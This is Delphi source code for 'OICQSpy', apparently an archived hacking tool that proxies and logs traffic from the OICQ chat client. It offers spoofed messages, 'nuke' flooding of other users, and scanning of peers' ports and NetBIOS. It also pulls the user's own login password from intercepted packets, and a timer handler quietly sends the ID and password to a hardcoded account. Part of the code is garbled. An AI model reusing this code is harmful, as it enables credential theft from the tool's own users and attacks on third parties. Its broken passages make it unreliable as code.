www.pudn.com > oicqspysrc.zip > Main.pas
unit Main;
{$define FULLVERSION}
//{$define REDUCE_VERSION}
{$define SAFEVERSION}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, StdCtrls, ExtCtrls, Spin, Buttons, ComCtrls, Menus, NWNotifyIcon,
ImgList,WinSOCK, ToolWin,ProxySocket;
type
TUserInfo=record
sock:TNMUDP;
strUID,strIP,strPort:string;
end;
TMainForm = class(TForm)
DataPanel: TPanel;
DataSplitter: TSplitter;
ViewSplitter: TSplitter;
ViewPanel: TPanel;
IPAddrList: TListBox;
AlertSplitter: TSplitter;
AnalyList: TListBox;
SendPage: TPageControl;
TabSheet1: TTabSheet;
LocalMsgList: TListBox;
TabSheet2: TTabSheet;
LocalTxtList: TListBox;
RecvPage: TPageControl;
TabSheet3: TTabSheet;
TabSheet4: TTabSheet;
SrvMsgList: TListBox;
SrvTxtList: TListBox;
mLocal: TPopupMenu;
mSrv: TPopupMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
SaveDlg: TSaveDialog;
MainMenu1: TMainMenu;
F1: TMenuItem;
O1: TMenuItem;
N5: TMenuItem;
mSysCfg: TMenuItem;
StatusBar: TStatusBar;
FakeUDP: TNMUDP;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
Timer: TTimer;
N9: TMenuItem;
N10: TMenuItem;
mViewSend: TMenuItem;
InfoMenu: TPopupMenu;
mClearInfo: TMenuItem;
mSaveInfo: TMenuItem;
TrayMenu: TPopupMenu;
N11: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
mFakeMsg: TMenuItem;
mScanIp: TMenuItem;
N16: TMenuItem;
mPortScanner: TMenuItem;
mNetBiosInfo: TMenuItem;
mViewRecv: TMenuItem;
mViewAlert: TMenuItem;
mScanNBInfo: TMenuItem;
mNuke: TMenuItem;
ImageList1: TImageList;
mHoldNuke: TMenuItem;
NetBIOS1: TMenuItem;
N17: TMenuItem;
ToolBar1: TToolBar;
ToolButton1: TToolButton;
btnFake: TToolButton;
btnPortScan: TToolButton;
btnBEUIInfo: TToolButton;
btnNuke: TToolButton;
btnLanuch: TToolButton;
ToolButton2: TToolButton;
btnFirstAid: TToolButton;
mFirstAid: TMenuItem;
NWNotifyIcon1: TNWNotifyIcon;
procedure LocalMsgListClick(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N3Click(Sender: TObject);
procedure SrvMsgListClick(Sender: TObject);
procedure LocalMsgListKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure SrvMsgListKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure N2Click(Sender: TObject);
procedure mSysCfgClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnFakeClick(Sender: TObject);
procedure IPAddrListDblClick(Sender: TObject);
procedure btnIPScanClick(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure TimerTimer(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure mViewSendClick(Sender: TObject);
procedure btnPortScanClick(Sender: TObject);
procedure mClearInfoClick(Sender: TObject);
procedure N12Click(Sender: TObject);
procedure N14Click(Sender: TObject);
procedure mScanIpClick(Sender: TObject);
procedure mNetBiosInfoClick(Sender: TObject);
procedure btnBEUIInfoClick(Sender: TObject);
procedure mScanNBInfoClick(Sender: TObject);
procedure mViewRecvClick(Sender: TObject);
procedure mViewAlertClick(Sender: TObject);
procedure mNukeClick(Sender: TObject);
procedure btnNukeClick(Sender: TObject);
procedure btnLanuchClick(Sender: TObject);
procedure N15Click(Sender: TObject);
procedure LocalMsgListDblClick(Sender: TObject);
procedure SwitcherOnSend(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
procedure SwitcherOnRecv(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
procedure SwitcherOnNewSocket(Sender:TObject);
procedure btnFirstAidClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
mCurCnt,mTxCnt,mRxCnt:Integer;
strUserId,strPass:string;
nUserId:Integer;
info:array of TUserInfo;
nInfoCnt:Integer;
function FindUID(uid,ip,port:string):Boolean;
{$ifndef SAFEVERSION}
function FindProxy(ip:string;port:WORD;var p:TNMUDP):Boolean;
{$ENDIF}
function GetSelectInfo(var id,ip,port:string):Boolean;
// procedure Txt2Buffer(str:string;var buf:array of char;var buflen:integer);
procedure ProcessSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;bufLen:Integer);
procedure ProcessClientMsg(buf:array of char;buflen:Integer);
procedure AddLocalMsg(buf:array of char;buflen:Integer);
procedure AddLocalHex(buf:array of char;buflen:Integer);
procedure AddLocalTxt(buf:array of char;buflen:Integer);
procedure AddLocalList(buf:array of char;buflen:Integer);
procedure AddSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;buflen:Integer);
procedure AddSrvHex(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
procedure AddSrvTxt(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
procedure AddSrvList(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
function BeforeSend(var buf:array of char;buflen:Integer):Boolean;
function AfterRecv(var buf:array of char;buflen:Integer):Boolean;
// procedure AddFriendIPAddr(id,ip:string);
procedure AddFriendInfo(id,ip,port,dummy,face,name:string);
procedure LaunchOICQ;
public
{ Public declarations }
Switcher:TUDPSwitcher;
procedure SendMsg(DestId,msg:string);
function Buffer2Hex(buf:array of char;buflen:integer):string;
function Buffer2Txt(buf:array of char;buflen:Integer):String;
function Buffer2List(buf:array of char;buflen:Integer):string;
end;
var
MainForm: TMainForm;
implementation
uses IpHdr,FirstAid,SysCfg,fakemsg,PortScan,about,info,CloneScan,data,NetInfoDlg,HoldNuke,MsgView;
{$R *.DFM}
procedure TMainForm.ProcessSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; bufLen: Integer);
var
i:Integer;
id,ip,port,dummy,face:string;
begin
if(Ord(buf[4])=$81)then{朋友登陆IP通知}
begin
i:=7;
while(i127)and (Ord(buf[i+1])>127))then
begin
Result:=Result+buf[i];
end
else
begin
Result:=Result+'.';
end;
end;
end;
procedure TMainForm.LocalMsgListClick(Sender: TObject);
var
i:Integer;
begin
i:=(Sender as TListBox).ItemIndex;
LocalMsgList.ItemIndex:=i;
LocalTxtList.ItemIndex:=i;
end;
procedure TMainForm.N1Click(Sender: TObject);
begin
LocalMsgList.Clear;
LocalTxtList.Clear;
mTxCnt:=0;
end;
procedure TMainForm.N3Click(Sender: TObject);
begin
SrvMsgList.Clear;
SrvTxtList.Clear;
mRxCnt:=0;
end;
procedure TMainForm.SrvMsgListClick(Sender: TObject);
var
i:Integer;
begin
i:=(Sender as TListBox).ItemIndex;
SrvMsgList.ItemIndex:=i;
SrvTxtList.ItemIndex:=i;
end;
procedure TMainForm.LocalMsgListKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
i:Integer;
begin
if(key=VK_DELETE)then
begin
if(LocalMsgList.Items.Count>0)then
begin
i:=(Sender as TListBox).ItemIndex;
LocalMsgList.Items.Delete(i);
LocalTxtList.Items.Delete(i);
LocalMsgList.ItemIndex:=i;
LocalTxtList.ItemIndex:=i;
end;
end;
end;
procedure TMainForm.SrvMsgListKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
i:Integer;
begin
if(Key=VK_DELETE)then
begin
if(SrvMsgList.Items.Count>0)then
begin
i:=(Sender as TListBox).ItemIndex;
SrvMsgList.Items.Delete(i);
SrvTxtList.items.Delete(i);
SrvMsgList.ItemIndex:=i;
SrvTxtList.ItemIndex:=i;
end;
end;
end;
procedure TMainForm.N2Click(Sender: TObject);
begin
if(SaveDlg.Execute)then
begin
if(Sender is TMenuItem)then
(
(
(Sender as TMenuItem).GetParentMenu as TPopupMenu
).PopupComponent as TListBox
).Items.SaveToFile(SaveDlg.FileName);
end;
end;
function TMainForm.AfterRecv(var buf: array of char; buflen: Integer): Boolean;
begin
Result:=True;
Inc(mRxCnt);
StatusBar.Panels[1].Text:='Rx:'+IntToStr(mRxCnt);
end;
function TMainForm.BeforeSend(var buf: array of char;
buflen: Integer): Boolean;
var
i:WORD;
begin
i:=Ord(buf[5])*$100+Ord(buf[6]);
mCurCnt:=i;
StatusBar.Panels[2].Text:='MsgId:'+IntToHex(mCurCnt,4);
Inc(mTxCnt);
StatusBar.Panels[0].Text:='Tx:'+IntToStr(mTxCnt);
Result:=True;
end;
procedure TMainForm.mSysCfgClick(Sender: TObject);
begin
if(TSysCfgDlg.Execute)then
begin
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
var
addr:TInAddr;
begin
{$ifdef REDUCE_VERSION}
Caption:=Caption+'简版';
{$endif}
Width:=450;
Height:=250;
mCurCnt:=0;
mTxCnt:=0;
mRxCnt:=0;
if(TSysCfgDlg.LoadConfig(GOICQPath,GDBFPath,GSrvIp,GSrvPort,GLocalPort,GAutoLaunch))then
begin
LoadIPInfo(GDBFPath);
end
else if(TSysCfgDlg.Execute)then
//no config data so must run config dialog
begin
LoadIPInfo(GDBFPath);
end;
{$ifndef FULLVERSION}
mViewSend.Visible:=False;
mViewRecv.Visible:=False;
SendPage.Visible:=False;
RecvPage.Visible:=False;
{$endif}
if(LookupName(GSrvIp,addr))then
begin
Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
Switcher.OnRecv:=SwitcherOnRecv;
Switcher.OnSend:=SwitcherOnSend;
Switcher.OnNewSocket:=SwitcherOnNewSocket;
if(GAutoLaunch)then LaunchOICQ;
end
else
begin
ShowMessage('无法连接'+GSrvIp);
end;
end;
procedure TMainForm.btnFakeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
TFakeMsgDlg.Execute('','',4000);
{$else}
ShowMessage('对不起!简版没有此功能');
{$endif}
end;
function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
var
s:string;
p,i,sc:Integer;
begin
p:=0;
sc:=1;
SetLength(id,10);
SetLength(ip,30);
SetLength(port,6);
for i:=1 to 10 do
begin
id[i]:=chr(0);
end;
for i:=1 to 30 do
begin
ip[i]:=chr(0);
end;
for i:=1 to 6 do
begin
port[i]:=chr(0);
end;
if(IPAddrList.Items.Count<>0)then
begin
Result:=True;
s:=IPAddrList.Items[IPAddrList.ItemIndex];
for i:=1 to length(s) do
begin
if(s[i]<>'-')then
begin
if(p=0)then
begin
id[sc]:=s[i];
Inc(sc);
end
else if(p=3)then
begin
ip[sc]:=s[i];
Inc(sc);
end
else if(p=6)then
begin
port[sc]:=s[i];
inc(sc);
end
else break;
end
else
begin
Inc(p);
sc:=1;
end;
end;
end
else Result:=False;
end;
procedure TMainForm.IPAddrListDblClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
begin
TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
end;
{$else}
ShowMessage('对不起!简版没有此功能.');
{$endif}
end;
procedure TMainForm.btnIPScanClick(Sender: TObject);
begin
TScannerDlg.Execute;
end;
procedure TMainForm.N8Click(Sender: TObject);
begin
Close;
end;
procedure TMainForm.N5Click(Sender: TObject);
begin
TAboutBox.Execute;
end;
procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
var
i:Integer;
begin
if(Ord(buf[4])=$13)then//User logon
begin
strUserId:='';
strPass:='';
i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
strUserId:=IntToStr(i);
MyId:=strUserId;
StatusBar.Panels[3].Text:='User Id:'+MyId;
for i:=13 to buflen-1 do
begin
if(Ord(buf[i])=$03)then break;
strPass:=strPass+buf[i];
end;
end;
end;
procedure TMainForm.SendMsg(DestId, msg: string);
var
pBuf:array [0..2048]of char;
i:Integer;
sock:TProxySock;
begin
for i:=0 to 2047 do
begin
pBuf[i]:=chr(0);
end;
pBuf[0]:=chr(2);
pBuf[1]:=chr(1);
pBuf[2]:=chr(7);
pBuf[3]:=chr(0);
pBuf[4]:=chr($08);
nUserId:=StrToInt(strUserId);
pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
pBuf[10]:=Chr((nUserId and $000000ff));
i:=ArrayStrCopy(pBuf,2048,11,DestId);
pBuf[i]:=chr($1f);
pBuf[i+1]:='0';
pBuf[i+2]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+3,'0');
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,msg);
pBuf[i]:=chr($03);
pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
pBuf[6]:=chr(mCurCnt and $00ff);
sock:=Switcher.GetExternalProxy(0);
if(Assigned(sock))then
begin
sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
end;
Inc(mCurCnt);
end;
procedure TMainForm.TimerTimer(Sender: TObject);
begin
Timer.Enabled:=False;
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
end;
procedure TMainForm.N9Click(Sender: TObject);
begin
ShowMessage('将OICQ的服务器改为:127.0.0.1 端口:8810'+#13
+'将其余服务器地址全部删除'+#13
+'关闭OICQ'+#13
+'启动OICQSpy'+#13
+'启动OICQ即可');
end;
procedure TMainForm.mViewSendClick(Sender: TObject);
begin
mViewSend.Checked:=not mViewSend.Checked;
SendPage.Visible:=mViewSend.Checked;
if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
begin
SendPage.Align:=alClient;
end
else if(mViewSend.Checked and (SendPage.Align=alTop)
and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
begin
SendPage.Height:=DataPanel.Height div 2;
end;
DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;
procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
var
s:string;
ipInf:TIPInfo;
begin
IpInf:=FindIPInfo(ip);
s:=IpInf.Country+','+IpInf.Location;
if(not FindUID(id,ip,port))then
begin
Inc(nInfoCnt);
SetLength(info,nInfoCnt);
info[nInfoCnt-1].strUID:=id;
info[nInfoCnt-1].strIP:=ip;
info[nInfoCnt-1].strPort:=port;
{$ifndef SAFEVERSION}
//Add msg handler
info[nInfoCnt-1].sock:=TNMUDP.Create(self);
info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
info[nInfoCnt-1].sock.RemotePort:=ClientPort;
info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
{$endif}
//Display friend info
IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
end;
end;
procedure TMainForm.btnPortScanClick(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;
function TMainForm.FindUID(uid,ip,port: string): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
begin
if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
begin
Result:=True;
Break;
end;
end;
end;
procedure TMainForm.mClearInfoClick(Sender: TObject);
begin
IPAddrList.Items.Clear;
nInfoCnt:=0;
SetLength(info,0);
end;
procedure TMainForm.N12Click(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;
procedure TMainForm.N14Click(Sender: TObject);
begin
Close;
end;
procedure TMainForm.mScanIpClick(Sender: TObject);
var
id,ip,port:string;
begin
if(GetSelectInfo(id,ip,port))then
TCloneScanDlg.Execute(ip);
end;
procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
var
id,port,ip:string;
begin
if(GetSelectInfo(id,ip,port))then
begin
TNetBiosInfoDlg.Execute(ip);
end;
end;
procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;
procedure TMainForm.mScanNBInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;
procedure TMainForm.mViewRecvClick(Sender: TObject);
begin
mViewRecv.Checked:=not mViewRecv.Checked;
RecvPage.Visible:=mViewRecv.Checked;
if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
begin
SendPage.Align:=alTop;
SendPage.Height:=DataPanel.Height div 2;
end
else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
SendPage.Align:=alClient;
DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;
procedure TMainForm.mViewAlertClick(Sender: TObject);
begin
mViewAlert.Checked:=not mViewAlert.Checked;
AnalyList.Visible:=mViewAlert.Checked;
AlertSplitter.Visible:=mViewAlert.Checked;
if(mViewAlert.Checked)then
begin
Width:=Width+300;
AlertSplitter.Left:=AnalyList.Left-2;
end
else
begin
Width:=Width-300;
end;
end;
procedure TMainForm.mNukeClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
begin
THoldNukeDlg.Execute(id,'Loading Device=C:\Windows\HIMEM.SYS'+#13,20);
end;
{$else}
ShowMessage('对不起!简版没有此功能.');
{$endif}
end;
procedure TMainForm.btnNukeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
THoldNukeDlg.Execute('','',3);
{$else}
ShowMessage('对不起!简版没有此功能');
{$endif}
end;
procedure TMainForm.btnLanuchClick(Sender: TObject);
begin
LaunchOICQ;
end;
procedure TMainForm.LaunchOICQ;
begin
WinExec(PChar(GOICQPath+'\OICQ.EXE'),SW_SHOW);
end;
procedure TMainForm.N15Click(Sender: TObject);
begin
Show;
end;
{$ifndef SAFEVERSION}
function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
begin
if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
begin
Result:=True;
p:=info[i].sock;
Break;
end;
end;
end;
{$endif}
procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
begin
TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
end;
procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
from, Dest: TSockAddr;var drop:Boolean);
var
uid:string;
begin
drop:=not AfterRecv(buf,buflen);
if(not drop)then
begin
if(buflen>1024)then
begin
if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
begin
uid:=GetStrFromBuf(buf,buflen,10);
AnalyList.Items.Add('你被'+uid+'号用户攻击!!!(透过服务器)');
drop:=True;
end
else
begin
drop:=True;
AnalyList.Items.Add('你被IP地址为:'+inet_ntoa(from.sin_addr)+'端口为:'+IntToStr(ntohs(from.sin_port) )+'的用户攻击!!!(直接攻击)');
end;
MainForm.Show;
AnalyList.Visible:=True;
if(Width<700)then Width:=700;
end
else
begin
Drop:=False;
end;
end;
AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
end;
procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
from, Dest: TSockAddr;var drop:Boolean);
begin
drop:=not BeforeSend(buf,buflen);
AddLocalMsg(buf,buflen);
ProcessClientMsg(buf,buflen);
end;
procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
begin
with (Sender as TProxySock)do
begin
AnalyList.Items.Add(
'New Socket:'+
inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
'Proxy socket:'
+inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
Application.ProcessMessages;
end;
end;
procedure TMainForm.btnFirstAidClick(Sender: TObject);
begin
TFirstAidDlg.Execute;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
if(Assigned(Switcher))then Switcher.Destroy;
sleep(100);
end;
end.